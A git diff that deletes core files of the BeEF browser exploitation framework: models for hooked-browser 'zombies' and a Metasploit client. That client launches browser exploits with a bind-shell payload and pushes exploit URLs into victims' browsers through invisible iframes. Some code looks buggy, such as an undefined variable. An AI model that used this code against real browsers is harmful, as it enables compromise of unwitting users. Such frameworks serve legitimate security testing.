@@guard.synchronize { - result = browserdetails.save - # if the attempt to save the browser details fails return a bad request - raise WEBrick::HTTPStatus::BadRequest, "Failed to save browser details" if result.nil? - } - - browserdetails - end - - # - # Returns the icon representing the browser type the - # hooked browser is using (i.e. Firefox, Internet Explorer) - # - def self.browser_icon(session_id) - - browser = get(session_id, 'BrowserName') - - return BeEF::Constants::Agents::AGENT_IE_IMG if browser.eql? "IE" # Internet Explorer - return BeEF::Constants::Agents::AGENT_FIREFOX_IMG if browser.eql? "FF" # Firefox - return BeEF::Constants::Agents::AGENT_SAFARI_IMG if browser.eql? "S" # Safari - return BeEF::Constants::Agents::AGENT_CHROME_IMG if browser.eql? "C" # Chrome - return BeEF::Constants::Agents::AGENT_OPERA_IMG if browser.eql? "O" # Opera - - BeEF::Constants::Agents::AGENT_UNKNOWN_IMG - end - - # - # Returns the icon representing the os type the - # zombie is running (i.e. Windows, Linux) - # - def self.os_icon(session_id) - - ua_string = get(session_id, 'BrowserReportedName') - - return BeEF::Constants::Os::OS_UNKNOWN_IMG if ua_string.nil? # Unknown - return BeEF::Constants::Os::OS_WINDOWS_IMG if ua_string.include? BeEF::Constants::Os::OS_WINDOWS_UA_STR # Windows - return BeEF::Constants::Os::OS_LINUX_IMG if ua_string.include? BeEF::Constants::Os::OS_LINUX_UA_STR # Linux - return BeEF::Constants::Os::OS_IPHONE_IMG if ua_string.include? BeEF::Constants::Os::OS_IPHONE_UA_STR # iPhone - do this before Mac, because it includes Mac - return BeEF::Constants::Os::OS_MAC_IMG if ua_string.include? BeEF::Constants::Os::OS_MAC_UA_STR # Mac OS X - - BeEF::Constants::Os::OS_UNKNOWN_IMG - end - -end - -end -end diff --git a/lib/model/command.rb b/lib/model/command.rb deleted file mode 100644 index caab06093..000000000 --- a/lib/model/command.rb +++ /dev/null @@ -1,53 +0,0 @@ -module BeEF -module Models - -class Command - - include DataMapper::Resource - - storage_names[:default] = 'commands' - - property :id, Serial - property :data, Text - property :creationdate, String, :length => 15, :lazy => false - property :label, Text, :lazy => false - property :instructions_sent, Boolean, :default => false - - has n, :results - has n, :autoloadings - - # - # Save results and flag that the command has been run on the hooked browser - # - # @param: {String} the session_id. Must have been checked with BeEF::Filter.is_valid_hook_session_id?(hook_session_id) before use in this function. - # @param: {String} the command_id. Must have been checked with BeEF::Filter.is_valid_commmamd_id?(command_id) before use in this function. - # @param: {String} the command friendly name. Must have been checked with command_friendly_name.empty? before use in this function. - # @param: {String} the result of the command module. Must have been checked with result.empty? before use in this function. - # - def self.save_result(hook_session_id, command_id, command_friendly_name, result) - - # get the hooked browser structure and id from the database - zombie = BeEF::Models::Zombie.first(:session => hook_session_id) || nil - raise WEBrick::HTTPStatus::BadRequest, "zombie is nil" if zombie.nil? - raise WEBrick::HTTPStatus::BadRequest, "zombie.id is nil" if zombie.id.nil? - zombie_id = zombie.id - raise WEBrick::HTTPStatus::BadRequest, "zombie.ip is nil" if zombie.ip.nil? - zombie_ip = zombie.ip - - # get the command module data structure from the database - command = first(:id => command_id.to_i, :zombie_id => zombie_id) || nil - raise WEBrick::HTTPStatus::BadRequest, "command is nil" if command.nil? - - # create the entry for the results - command.results.new(:zombie_id => zombie_id, :data => result.to_json, :date => Time.now.to_i) - command.save - - # log that the result was returned - BeEF::Logger.instance.register('Command', "The '#{command_friendly_name}' command module was successfully executed against '#{zombie_ip}'", zombie_id) - - end - -end - -end -end \ No newline at end of file diff --git a/lib/model/commandmodule.rb b/lib/model/commandmodule.rb deleted file mode 100644 index ab8681292..000000000 --- a/lib/model/commandmodule.rb +++ /dev/null @@ -1,21 +0,0 @@ -module BeEF -module Models - -class CommandModule - - include DataMapper::Resource - - storage_names[:default] = 'command_modules' - - property :id, Serial - property :path, Text, :lazy => false - property :name, Text, :lazy => false - - has n, :commands - has 1, :dynamic_command_info - - -end - -end -end diff --git a/lib/model/distributedenginerules.rb b/lib/model/distributedenginerules.rb deleted file mode 100644 index 52e900992..000000000 --- a/lib/model/distributedenginerules.rb +++ /dev/null @@ -1,17 +0,0 @@ -module BeEF -module Models - -class DistributedEngineRules - - include DataMapper::Resource - - storage_names[:default] = 'distributed_engine_rules' - - property :id, Serial - property :data, Text - property :enabled, Boolean - -end - -end -end \ No newline at end of file diff --git a/lib/model/dynamiccommandinfo.rb b/lib/model/dynamiccommandinfo.rb deleted file mode 100644 index dd811e19b..000000000 --- a/lib/model/dynamiccommandinfo.rb +++ /dev/null @@ -1,20 +0,0 @@ -module BeEF -module Models - -class DynamicCommandInfo - - include DataMapper::Resource - - storage_names[:default] = 'dynamic_command_info' - - property :id, Serial - property :name, Text, :lazy => false - property :description, Text, :lazy => false - property :targets, Text, :lazy => false - belongs_to :command_module - -end - -end -end - diff --git a/lib/model/dynamicpayloadinfo.rb b/lib/model/dynamicpayloadinfo.rb deleted file mode 100644 index 95a2de0c0..000000000 --- a/lib/model/dynamicpayloadinfo.rb +++ /dev/null @@ -1,21 +0,0 @@ -module BeEF -module Models - -class DynamicPayloadInfo - - include DataMapper::Resource - - storage_names[:default] = 'dynamic_payload_info' - - property :id, Serial - property :name, String, :length => 15 - property :value, String, :length => 30 - property :required, Boolean, :default => false - property :description, Text, :lazy => false - belongs_to :dynamic_payloads - -end - -end -end - diff --git a/lib/model/dynamicpayloads.rb b/lib/model/dynamicpayloads.rb deleted file mode 100644 index 966ec118f..000000000 --- a/lib/model/dynamicpayloads.rb +++ /dev/null @@ -1,19 +0,0 @@ -module BeEF -module Models - -class DynamicPayloads - - include DataMapper::Resource - - storage_names[:default] = 'dynamic_payloads' - - property :id, Serial - property :name, Text, :lazy => false - - has n, :dynamic_payload_info - -end - -end -end - diff --git a/lib/model/http.rb b/lib/model/http.rb deleted file mode 100644 index d60ed2b6c..000000000 --- a/lib/model/http.rb +++ /dev/null @@ -1,23 +0,0 @@ -module BeEF -module Models - - class Http - - include DataMapper::Resource - - storage_names[:default] = 'http' - - property :id, Serial - property :request, Text, :lazy => true - property :response, Text, :lazy => true - property :method, Text, :lazy => false - property :content_length, Text, :lazy => false, :default => 0 - property :domain, Text, :lazy => false - property :path, Text, :lazy => false - property :date, DateTime, :lazy => false - property :has_ran, Boolean, :default => false - - end - -end -end \ No newline at end of file diff --git a/lib/model/log.rb b/lib/model/log.rb deleted file mode 100644 index f63921ebb..000000000 --- a/lib/model/log.rb +++ /dev/null @@ -1,19 +0,0 @@ -module BeEF -module Models - -class Log - - include DataMapper::Resource - - storage_names[:default] = 'logs' - - property :id, Serial - property :type, Text, :lazy => false - property :event, Text, :lazy => false - property :date, DateTime, :lazy => false - property :zombie_id, Text, :lazy => false - -end - -end -end diff --git a/lib/model/optioncache.rb b/lib/model/optioncache.rb deleted file mode 100644 index 4420d8b9f..000000000 --- a/lib/model/optioncache.rb +++ /dev/null @@ -1,17 +0,0 @@ -module BeEF -module Models - -class OptionCache - - include DataMapper::Resource - - storage_names[:default] = 'option_cache' - - property :id, Serial - property :name, Text - property :value, Text - -end - -end -end diff --git a/lib/model/plugin.rb b/lib/model/plugin.rb deleted file mode 100644 index 885e10718..000000000 --- a/lib/model/plugin.rb +++ /dev/null @@ -1,17 +0,0 @@ -module BeEF -module Models - - class Plugin - - include DataMapper::Resource - - storage_names[:default] = 'plugins' - - property :id, Serial - property :data, Text, :lazy => false - property :path, Text, :lazy => false - - end - -end -end \ No newline at end of file diff --git a/lib/model/result.rb b/lib/model/result.rb deleted file mode 100644 index 2a0d86dc0..000000000 --- a/lib/model/result.rb +++ /dev/null @@ -1,17 +0,0 @@ -module BeEF -module Models - -class Result - - include DataMapper::Resource - - storage_names[:default] = 'results' - - property :id, Serial - property :date, String, :length => 15, :lazy => false - property :data, Text - -end - -end -end \ No newline at end of file diff --git a/lib/model/user.rb b/lib/model/user.rb deleted file mode 100644 index e62825521..000000000 --- a/lib/model/user.rb +++ /dev/null @@ -1,24 +0,0 @@ -module BeEF -module Models - -class User - - include DataMapper::Resource - - storage_names[:default] = 'users' - - property :id, Serial - property :session_id, Text - property :ip, Text - - # - # Checks if the user has been authenticated - # - def authenticated? - true || false if not @ip.nil? - end - -end - -end -end \ No newline at end of file diff --git a/lib/model/zombie.rb b/lib/model/zombie.rb deleted file mode 100644 index 2c068280a..000000000 --- a/lib/model/zombie.rb +++ /dev/null @@ -1,69 +0,0 @@ -module BeEF -module Models - -class Zombie - - include DataMapper::Resource - - storage_names[:default] = 'zombies' - - property :id, Serial - property :session, Text, :lazy => false - property :ip, Text, :lazy => false - property :firstseen, String, :length => 15 - property :lastseen, String, :length => 15 - property :httpheaders, Text, :lazy => false - property :domain, Text, :lazy => false # the domain originating the hook request - property :count, Integer, :lazy => false - property :has_init, Boolean, :default => false - - has n, :commands - has n, :results - has n, :logs - has n, :https - - # - # Increases the count of a zombie - # - def count! - if not self.count.nil? then self.count += 1; else self.count = 1; end - end - - # - # Returns the icon representing the browser type the - # zombie is using (i.e. Firefox, Internet Explorer) - # - def browser_icon - agent = JSON.parse(self.httpheaders)['user-agent'].to_s || nil - - return BeEF::Constants::Agents::AGENT_UNKNOWN_IMG if agent.nil? - return BeEF::Constants::Agents::AGENT_IE_IMG if agent.include? BeEF::Constants::Agents::AGENT_IE_UA_STR - return BeEF::Constants::Agents::AGENT_FIREFOX_IMG if agent.include? BeEF::Constants::Agents::AGENT_FIREFOX_UA_STR - return BeEF::Constants::Agents::AGENT_MOZILLA_IMG if agent.include? BeEF::Constants::Agents::AGENT_MOZILLA_UA_STR - return BeEF::Constants::Agents::AGENT_SAFARI_IMG if agent.include? BeEF::Constants::Agents::AGENT_SAFARI_UA_STR - return BeEF::Constants::Agents::AGENT_KONQ_IMG if agent.include? BeEF::Constants::Agents::AGENT_KONQ_UA_STR - return BeEF::Constants::Agents::AGENT_CHROME_IMG if agent.include? BeEF::Constants::Agents::AGENT_CHROME_UA_STR - return BeEF::Constants::Agents::AGENT_OPERA_IMG if agent.include? BeEF::Constants::Agents::AGENT_OPERA_UA_STR - - BeEF::Constants::Agents::AGENT_UNKNOWN_IMG - end - - # - # Returns the icon representing the os type the - # hooked browser is running (i.e. Windows, Linux) - # - def os_icon - agent = JSON.parse(self.httpheaders)['user-agent'].to_s || nil - - return BeEF::Constants::Os::OS_UNKNOWN_IMG if agent.nil? - return BeEF::Constants::Os::OS_WINDOWS_IMG if agent.include? BeEF::Constants::Os::OS_WINDOWS_UA_STR - return BeEF::Constants::Os::OS_LINUX_IMG if agent.include? BeEF::Constants::Os::OS_LINUX_UA_STR - return BeEF::Constants::Os::OS_MAC_IMG if agent.include? BeEF::Constants::Os::OS_MAC_UA_STR - - BeEF::Constants::Os::OS_UNKNOWN_IMG - end - -end - -end -end diff --git a/lib/modules/command.rb b/lib/modules/command.rb deleted file mode 100644 index 54aabec9a..000000000 --- a/lib/modules/command.rb +++ /dev/null @@ -1,309 +0,0 @@ -module BeEF - - # - # This module contains a list of utils functions to use - # when writing commands. - # - module CommandUtils - - # Format a string to support multiline in javascript. - def format_multiline(text); text.gsub(/\n/, '\n'); end - - end - - # - # The Command Module Context is being used when evaluating code in eruby. - # In other words, we use that code to add funky functions to the - # javascript templates of our commands. - # - class CommandContext < Erubis::Context - include BeEF::CommandUtils - - def initialize(hash=nil); - super(hash); - end - - end - - # - # This class is the base class for all command modules in the framework. - # - # Two instances of this object are created during the execution of command module. - # - class Command - - attr_reader :info, :datastore, :path, :default_command_url, :beefjs_components, :friendlyname - attr_accessor :zombie, :command_id, :session_id, :target - - include BeEF::CommandUtils - - BD = BeEF::Models::BrowserDetails - - UNKNOWN = BeEF::Constants::Browsers::UNKNOWN - ALL = BeEF::Constants::Browsers::ALL - IE = BeEF::Constants::Browsers::IE - S = BeEF::Constants::Browsers::S - FF = BeEF::Constants::Browsers::FF - C = BeEF::Constants::Browsers::C - O = BeEF::Constants::Browsers::O - - VERIFIED_WORKING = BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_WORKING - VERIFIED_NOT_WORKING = BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_NOT_WORKING - VERIFIED_USER_NOTIFY = BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_USER_NOTIFY - VERIFIED_UNKNOWN = BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_UNKNOWN - - # Super class controller - def initialize(info) - @info = info - @datastore = @info['Data'] || {} - @friendlyname = @info['Name'] || nil - @target = @info['Target'] || nil - @output = '' - @path = @info['File'].sub(BeEF::HttpHookServer.instance.root_dir, '') - @default_command_url = '/command/'+(File.basename @path, '.rb')+'.js' - @id = BeEF::Models::CommandModule.first(:path => @info['File']).object_id - @use_template = false - @auto_update_zombie = false - @results = {} - @beefjs_components = {} - end - - # This function is called just before the intructions are sent to hooked browser. - # The derived class can use this function to update params used in the command module. - def pre_send; - end - - # Callback method. This function is called when the hooked browser sends results back. - def callback; end - - # If the command requires some data to be sent back, this function will process them. - def process_zombie_response(head, params); end - - # Returns true if the command needs configurations to work. False if not. - def needs_configuration?; !@datastore.nil?; end - - # Returns information about the command in a JSON format. - def to_json - { - 'Name' => info['Name'], - 'Description' => info['Description'], - 'Category' => info['Category'], - 'Data' => info['Data'] - }.to_json - end - - # Builds the 'datastore' attribute of the command which is used to generate javascript code. - def build_datastore(data); - @datastore = JSON.parse(data) - end - - # Sets the datastore for the callback function. This function is meant to be called by the CommandHandler - # - # build_callback_datastore(http_params, http_header) - # - def build_callback_datastore(http_params, http_header) - - @datastore = {'http_headers' => {}} # init the datastore - - # get, check and add the http_params to the datastore - http_params.keys.each { |http_params_key| - raise WEBrick::HTTPStatus::BadRequest, "http_params_key is invalid" if not BeEF::Filter.is_valid_command_module_datastore_key?(http_params_key) - http_params_value = Erubis::XmlHelper.escape_xml(http_params[http_params_key]) - raise WEBrick::HTTPStatus::BadRequest, "http_params_value is invalid" if not BeEF::Filter.is_valid_command_module_datastore_param?(http_params_value) - @datastore[http_params_key] = http_params_value # add the checked key and value to the datastore - } - - # get, check and add the http_headers to the datastore - http_header.keys.each { |http_header_key| - raise WEBrick::HTTPStatus::BadRequest, "http_header_key is invalid" if not BeEF::Filter.is_valid_command_module_datastore_key?(http_header_key) - http_header_value = Erubis::XmlHelper.escape_xml(http_header[http_header_key][0]) - raise WEBrick::HTTPStatus::BadRequest, "http_header_value is invalid" if not BeEF::Filter.is_valid_command_module_datastore_param?(http_header_value) - @datastore['http_headers'][http_header_key] = http_header_value # add the checked key and value to the datastore - } - - end - - # set the target details - # this function is used when determining the code of the node icon - def set_target(definition) - - @target = [] if not @target - @target.push(definition) - - end - - # verify whether this command module has been checked against the target browser - # this function is used when determining the code of the node icon - def verify_target - - return VERIFIED_UNKNOWN if not @target # no target specified in the module - - # loop through each definition and check it - @target.each {|definition| - return definition['verified_status'] if test_target(definition) - } - - return VERIFIED_UNKNOWN - - end - - # test if the target definition matches the hooked browser - # this function is used when determining the code of the node icon - def test_target_attribute(hb_attr_name, hb_attr_ver, target_attr_name, target_attr_max_ver, target_attr_min_ver) - - # check if wild cards are set - return true if not target_attr_name - return true if target_attr_name.nil? - return true if target_attr_name.eql? ALL - - # can't answer based on hb_attr_name - return false if not hb_attr_name - return false if hb_attr_name.nil? - return false if hb_attr_name.eql? UNKNOWN - - # check if the attribute is targeted - return false if not target_attr_name.eql? hb_attr_name - - # assume that the max version and min version were purposefully excluded - return true if target_attr_max_ver.nil? && target_attr_min_ver.nil? - - # check if the framework can detect hb version - return false if hb_attr_ver.eql? 'UNKNOWN' - - # check the version number is within range - return false if hb_attr_ver.to_f > target_attr_max_ver.to_f - return false if hb_attr_ver.to_f < target_attr_min_ver.to_f - - # all the checks passed - true - end - - # test if the target definition matches the hooked browser - # this function is used when determining the code of the node icon - def test_target(target_definition) - - # if the definition is nill we don't know - return false if target_definition.nil? - - # check if the browser is a target - hb_browser_name = get_browser_detail('BrowserName') - hb_browser_version = get_browser_detail('BrowserVersion') - target_browser_name = target_definition['browser_name'] - target_browser_max_ver = target_definition['browser_max_ver'] - target_browser_min_ver = target_definition['browser_min_ver'] - browser_match = test_target_attribute(hb_browser_name, hb_browser_version, target_browser_name, target_browser_max_ver, target_browser_min_ver) - - # check if the operating system is a target - hb_os_name = get_browser_detail('OsName') - target_os_name = target_definition['os_name'] - os_match = test_target_attribute(hb_os_name, nil, target_os_name, nil, nil) - return browser_match && os_match - - end - - # Store the browser detail in the database. - def set_browser_detail(key, value) - raise WEBrick::HTTPStatus::BadRequest, "@session_id is invalid" if not BeEF::Filter.is_valid_hook_session_id?(@session_id) - BD.set(@session_id, key, value) - end - - # Get the browser detail from the database. - def get_browser_detail(key) - raise WEBrick::HTTPStatus::BadRequest, "@session_id is invalid" if not BeEF::Filter.is_valid_hook_session_id?(@session_id) - BD.get(@session_id, key) - end - - # Tells the framework that the command module will be using a template file. - def use_template!; - tpl = @info['File'].sub(/.rb$/, '.js') - @template = tpl if File.exists? tpl - - @use_template = true; - end - - # Returns true if the command uses a template. False if not. - def use_template?; @use_template; end - - # Returns the output of the command. These are the actual instructions sent to the browser. - def output - if use_template? # and @template - raise WEBrick::HTTPStatus::BadRequest, "@template is nil" if @template.nil? - raise WEBrick::HTTPStatus::BadRequest, "@template file does not exist" if not File.exists? @template - - @eruby = Erubis::FastEruby.new(File.read(@template)) - - if @datastore - @datastore['command_url'] = BeEF::HttpHookServer.instance.get_command_url(@default_command_url) - @datastore['command_id'] = @command_id - - command_context = BeEF::CommandContext.new - @datastore.each{|k,v| - command_context[k] = v - } - - @output = @eruby.evaluate(command_context) - else - @ouput = @eruby.result() - end - end - - @output - end - - # Returns the results for the zombie. - def get_results - return '' if @results.length.eql? 0 - - @results.to_json - end - - # Saves the results received from the zombie. - def save(results); - @results = results; - end - - # Tells the framework to load a specific module of the BeEFJS library that - # the command will be using. - # - # use 'beef.net.local' - # use 'beef.encode.base64' - # - def use(component) - return if @beefjs_components.include? component - - component_path = '/'+component - component_path.gsub!(/beef./, '') - component_path.gsub!(/\./, '/') - component_path.replace "#{$root_dir}/modules/beefjs/#{component_path}.js" - - raise "Invalid beefjs component for command module #{@path}" if not File.exists?(component_path) - - @beefjs_components[component] = component_path - end - - def map_file_to_url(file, path=nil, extension=nil, count=1) - return BeEF::AssetHandler.instance.bind(file, path, extension, count) - end - - def oc_value(name) - option = BeEF::Models::OptionCache.first(:name => name) - return nil if not option - return option.value - end - - def apply_defaults() - @datastore.each { |opt| - opt["value"] = oc_value(opt["name"]) || opt["value"] - } - end - - private - - @use_template - @eruby - @update_zombie - @results - - end - -end diff --git a/lib/modules/msfclient.rb b/lib/modules/msfclient.rb deleted file mode 100644 index f724cd403..000000000 --- a/lib/modules/msfclient.rb +++ /dev/null @@ -1,176 +0,0 @@ -module BeEF - - # - # XML RPC Client for Metasploit - # - class MsfClient < ::XMLRPC::Client - include Singleton - - def initialize - @config = BeEF::Configuration.instance - @enabled = (@config.get('enable_msf').to_i > 0) - return if (not @enabled) - host = @config.get('msf_host') - path = @config.get('msf_path') - port = @config.get('msf_port') - @un = @config.get('msf_user') - @pw = @config.get('msf_pass') - @lock = false - - if(not host or not path or not port or not @un or not @pw) - print "There is not enough information to initalize Metasploit connectivity at this time. Please check your options in config.ini to verify that all information is present\n" - @enabled = false - end - - @token = nil - @lastauth = nil - - super(host,path,port) - - - end - def get_lock() - sleep 0.2 while @lock - @lock = true - end - - def release_lock() - @lock = false - end - - # is metasploit enabled in the configuration - def is_enabled - @enabled - end - - # login into metasploit - def login - get_lock() - res = self.call("auth.login", @un ,@pw ) - if(not (res and res['result'] == "success")) - @enabled = false - release_lock() - return false - end - @token = res['token'] - @lastauth = Time.now - release_lock() - - true - - end - - # sends commands to the metasploit xml rpc server - def call(meth, *args) - return if not @enabled - - if(meth != "auth.login") - self.login() if not @token - args.unshift(@token) - end - - begin - super(meth, *args) - rescue Errno::ECONNREFUSED - print "WARNING: Connection to Metasploit backend failed. This is typically because it is either not running your connection information is incorrect, please verify this information and try again. Metasploit capabilities have been disabled until this is fixed\n" - @enabled = false - return false - rescue XMLRPC::FaultException => e - if e.faultCode == 401 and meth == "auth.login" - print "WARNING: Your username and password combination was rejected by the Metasploit backend server. Please verify your settings and restart the BeEF server. Metasploit connectivity has been disabled.\n" - @enabled = false - elsif e.faultCode == 401 - res = self.login() - else - print "WARNING: An unknown exception has occured while talking to the Metasploit backend. The Exception text is (#{e.faultCode} : #{e.faultString}. Please check the Metasploit logs for more details.\n" - end - return false - rescue Exception => e - print "WARNING: An unknown exception (#{e}) has occured while talking to the Metasploit backend. Please check the Metasploit logs for more details.\n" - return false - end - - end - - def browser_exploits() - return if not @enabled - - get_lock() - res = self.call('module.exploits') - return [] if not res or not res['modules'] - - mods = res['modules'] - ret = [] - mods.each do |m| - ret << m if(m.include? '/browser/') - end - release_lock() - ret.sort - end - - def get_exploit_info(name) - return if not @enabled - get_lock() - res = self.call('module.info','exploit',name) - release_lock() - res || {} - end - def get_payloads(name) - return if not @enabled - get_lock() - res = self.call('module.compatible_payloads',name) - release_lock() - res || {} - end - def get_options(name) - return if not @enabled - get_lock() - res = self.call('module.options','exploit',name) - release_lock() - res || {} - end - def payloads() - return if not @enabled - get_lock() - res = self.call('module.payloads') - release_lock() - return {} if not res or not res['modules'] - res['modules'] - end - def payload_options(name) - return if not @enabled - get_lock() - res = self.call('module.options','payload',name) - release_lock - return {} if not res - res - end - def launch_exploit(exploit,opts) - return if not @enabled - get_lock() - begin - res = self.call('module.execute','exploit',exploit,opts) - rescue Exception => e - print "Exploit failed for #{exploit} \n" - release_lock() - return false - end - release_lock() - - uri = "" - if opts['SSL'] - uri += "https://" - else - uri += "http://" - end - - uri += @config.get('msf_callback_host') + ":" + opts['SRVPORT'] + "/" + opts['URIPATH'] - - res['uri'] = uri - res - end - - - end - -end diff --git a/lib/modules/msfcommand.rb b/lib/modules/msfcommand.rb deleted file mode 100644 index 80f99a2f5..000000000 --- a/lib/modules/msfcommand.rb +++ /dev/null @@ -1,216 +0,0 @@ -module BeEF -module Modules -module Commands - - -class Msf < BeEF::Command - - - def initialize - super({ - 'Name' => 'Generic Metasploit Exploit', - - 'Description' => %Q{ - This module will launch a Metasploit exploit against the host - }, - 'Category' => 'Metasploit', - 'Author' => ['sussurro'], - 'Data' => [ ], - 'File' => __FILE__, - }) - - use 'beef.dom' - end - - def callback - save({'result' => @datastore['result']}) - end - - # - def update_info(id) - mod = BeEF::Models::CommandModule.first(:id => id) - msfinfo = nil - targets = [] - - if mod.dynamic_command_info == nil - - msf = BeEF::MsfClient.instance - msf.login() - msfinfo = msf.get_exploit_info(mod.name) - - st = mod.name.split('/').first - puts "st: " + st - - os_name = BeEF::Constants::Os::match_os(st) - browsers = BeEF::Constants::Browsers::match_browser(msfi['name'] + msfi['targets'].to_json) - - targets << {'os_name' => os_name, 'browser_name' => 'ALL', 'verified_status' => 3} if browsers.count == 0 - - browsers.each do |bn| - targets << {'os_name' => os_name, 'browser_name' => bn, 'verified_status' => 1} - end - - targets << {'os_name' => "ALL", 'verified_status' => 0 } - - - mod.dynamic_command_info = BeEF::Models::DynamicCommandInfo.new( - :name => msfinfo['name'], - :description => msfinfo['description'], - :targets => targets.to_json); - mod.save - else - msfinfo = mod.dynamic_command_info - targets = JSON.parse(msfinfo['targets']) - end - @info['Name'] = msfinfo['name'] - @info['Description'] = msfinfo['description'] - @info['MsfModName'] = mod.name - @info['mod-id'] = mod.id - @info['msfid'] = mod.name - @target = targets - - end - def update_data() - modname = @info['MsfModName'] - - msf = BeEF::MsfClient.instance - if not msf.is_enabled - @info['Description'] += "
" + "*"*15 + "WARNING" + "*"*15 + "
" - @info['Description'] += "Metasploit capapbilities have been disabled, please verify your configuration or if msf_enabled = 1 then check the BeEF console for errors" - return - end - msfoptions = msf.get_options(modname) - msfoptions.keys.each { |k| - next if msfoptions[k]['advanced'] == true - next if msfoptions[k]['evasion'] == true - @info['Data'] << { 'name' => k + '_txt', 'type' => 'label', 'text' => msfoptions[k]['desc']} - case msfoptions[k]['type'] - when "string","address","port" - msfoptions[k]['default'] = rand(32**20).to_s(32) if k == "URIPATH" - @info['Data'] << {'name' => k , 'ui_label' => k, 'value' => (oc_value(k) || msfoptions[k]['default'])} - when "bool" - @info['Data'] << {'name' => k, 'type' => 'checkbox', 'ui_label' => k } - when "enum" - enumdata = [] - msfoptions[k]['enums'].each { |e| - enumdata << [e] - } - @info['Data'] << { 'name' => k, 'type' => 'combobox', 'ui_label' => k, 'store_type' => 'arraystore', 'store_fields' => ['enum'], 'store_data' => enumdata, 'valueField' => 'enum', 'displayField' => 'enum' , 'autoWidth' => true, 'mode' => 'local', 'value' => (oc_value(k) || msfoptions[k]['default'])} - else - print "K => #{k}\n" - print "Status => #{msfoptions[k]['advanced']}\n" - end - } - - msfpayloads = msf.get_payloads(modname) - return if not msfpayloads or not msfpayloads['payloads'] - - payloads = msfpayloads['payloads'] - pl = [] - pl << [(oc_value('PAYLOAD') || 'generic/shell_bind_tcp')] - payloads.each { |p| - pl << [p] - } - - @info['Data'] << { 'name' => 'PAYLOAD', - 'type' => 'combobox', - 'anchor' => '95% -100', - 'ui_label' => 'Payload', - 'store_type' => 'arraystore', - 'store_fields' => ['payload'], - 'store_data' => pl, - 'valueField' => 'payload', - 'displayField' => 'payload' , - 'autoWidth' => true, - 'mode' => 'local', - 'reloadOnChange' => true, # this will trigger a reload of the payload options - 'emptyText' => "select a payload..."} - - @info['Data'] << { 'name' => 'mod_id' , 'id' => 'mod_id', 'type' => 'hidden', 'value' => @info['mod-id'] } - - end - - def get_payload_options(payload_name) - # get payload options from metasploit - msf_xmlrpc_clinet = BeEF::MsfClient.instance - msf_xmlrpc_clinet.login() - payload_options = msf_xmlrpc_clinet.payload_options(payload_name) - - info = {} - info['Data'] = [] - - payload_options.keys.each { |k| - next if payload_options[k]['advanced'] == true - next if payload_options[k]['evasion'] == true - info['Data'] << { 'name' => k + '_txt', 'type' => 'label', 'text' => payload_options[k]['desc']} - case payload_options[k]['type'] - when "string","address","port","raw","path", "integer" - payload_options[k]['default'] = "127.0.0.1" if k == "RHOST" - info['Data'] << {'name' => k , 'ui_label' => k, 'value' => (oc_value(k) || payload_options[k]['default'])} - when "bool" - info['Data'] << {'name' => k, 'type' => 'checkbox', 'ui_label' => k } - when "enum" - info['Data'] << { 'name' => k, 'type' => 'combobox', 'ui_label' => k, 'store_type' => 'arraystore', 'store_fields' => ['enum'], 'store_data' => payload_options[k]['enums'], 'valueField' => 'enum', 'displayField' => 'enum' , 'autoWidth' => true, 'mode' => 'local', 'value' => (oc_value(k) || payload_options[k]['default'])} - else - # Debug output if the payload option type isn't found - puts "K => #{k}\n" - puts "Status => #{payload_options[k]['advanced']}\n" - puts "Type => #{payload_options[k]['type']}\n" - puts payload_options[k] - end - } - - # turn results into JSON - payload_options_json = [] - payload_options_json[1] = JSON.parse(info.to_json) - - JSON.parse(info.to_json) - - end - def launch_exploit(opts) - - msf = BeEF::MsfClient.instance - msf.login() - ret = msf.launch_exploit(@info['msfid'],opts) - @output = "\n" if ret['result'] == 'success' - ret - end - - - def output - if @datastore - @datastore['command_url'] = BeEF::HttpHookServer.instance.get_command_url(@default_command_url) - @datastore['command_id'] = @command_id - end - - - return " - -beef.execute(function() { - var result; - - try { - var sploit = beef.dom.createInvisibleIframe(); - sploit.src = '#{datastore['sploit_url']}'; - } catch(e) { - for(var n in e) - result+= n + ' ' + e[n] ; - } - -});" - end - def callback - content = {} - content['Exploit Results'] = @datastore['result'] - save content - end - - -end - - -end -end -end - - diff --git a/lib/patches/webrick/cookie.rb b/lib/patches/webrick/cookie.rb deleted file mode 100644 index 7cbc15767..000000000 --- a/lib/patches/webrick/cookie.rb +++ /dev/null @@ -1,23 +0,0 @@ -# The following file contains patches for WEBrick. -module WEBrick - - class Cookie - attr_accessor :httponly - - def to_s - ret = "" - ret << @name << "=" << @value - ret << "; " << "Version=" << @version.to_s if @version > 0 - ret << "; " << "Domain=" << @domain if @domain - ret << "; " << "Expires=" << @expires if @expires - ret << "; " << "Max-Age=" << @max_age.to_s if @max_age - ret << "; " << "Comment=" << @comment if @comment - ret << "; " << "Path=" << @path if @path - ret << "; " << "Secure" if @secure - ret << "; " << "HttpOnly" if @httponly - ret - end - - end - -end \ No newline at end of file diff --git a/lib/patches/webrick/genericserver.rb b/lib/patches/webrick/genericserver.rb deleted file mode 100644 index 87683af99..000000000 --- a/lib/patches/webrick/genericserver.rb +++ /dev/null @@ -1,15 +0,0 @@ -# The following file contains patches for WEBrick. -module WEBrick - - class HTTPServer < ::WEBrick::GenericServer - - # I'm patching WEBrick so it does not log http requests anymore. - # The reason being that it seems to considerably slow down BeEF which receives - # numerous requests simultaneously. Additionally, it was also found to crash - # the thread when not being able to write to the log file (which happened when - # overloaded). - def access_log(config, req, res); return; end - - end - -end \ No newline at end of file diff --git a/lib/patches/webrick/httprequest.rb b/lib/patches/webrick/httprequest.rb deleted file mode 100644 index 205a9d2d0..000000000 --- a/lib/patches/webrick/httprequest.rb +++ /dev/null @@ -1,77 +0,0 @@ -# The following file contains patches for WEBrick. -module WEBrick - - class HTTPRequest - - # I'm patching the HTTPRequest class so that it when it receives POST - # http requests, it parses the query present in the body even if the - # content type is not set. - # - # The reason for this patch is that when a zombie sends back data to - # BeEF, that data was not parsed because by default the content-type - # was not set directly. I prefer patching WEBrick rather than editing - # the BeEFJS library because cross domain http requests would be harder - # to implement at the server level. - # - # Note: this function would need to be modified if we ever needed to - # use multipart POST requests. - def parse_query() - begin - if @request_method == "GET" || @request_method == "HEAD" - @query = HTTPUtils::parse_query(@query_string) - elsif @request_method == 'POST' || self['content-type'] =~ /^application\/x-www-form-urlencoded/ - @query = HTTPUtils::parse_query(body) - elsif self['content-type'] =~ /^multipart\/form-data; 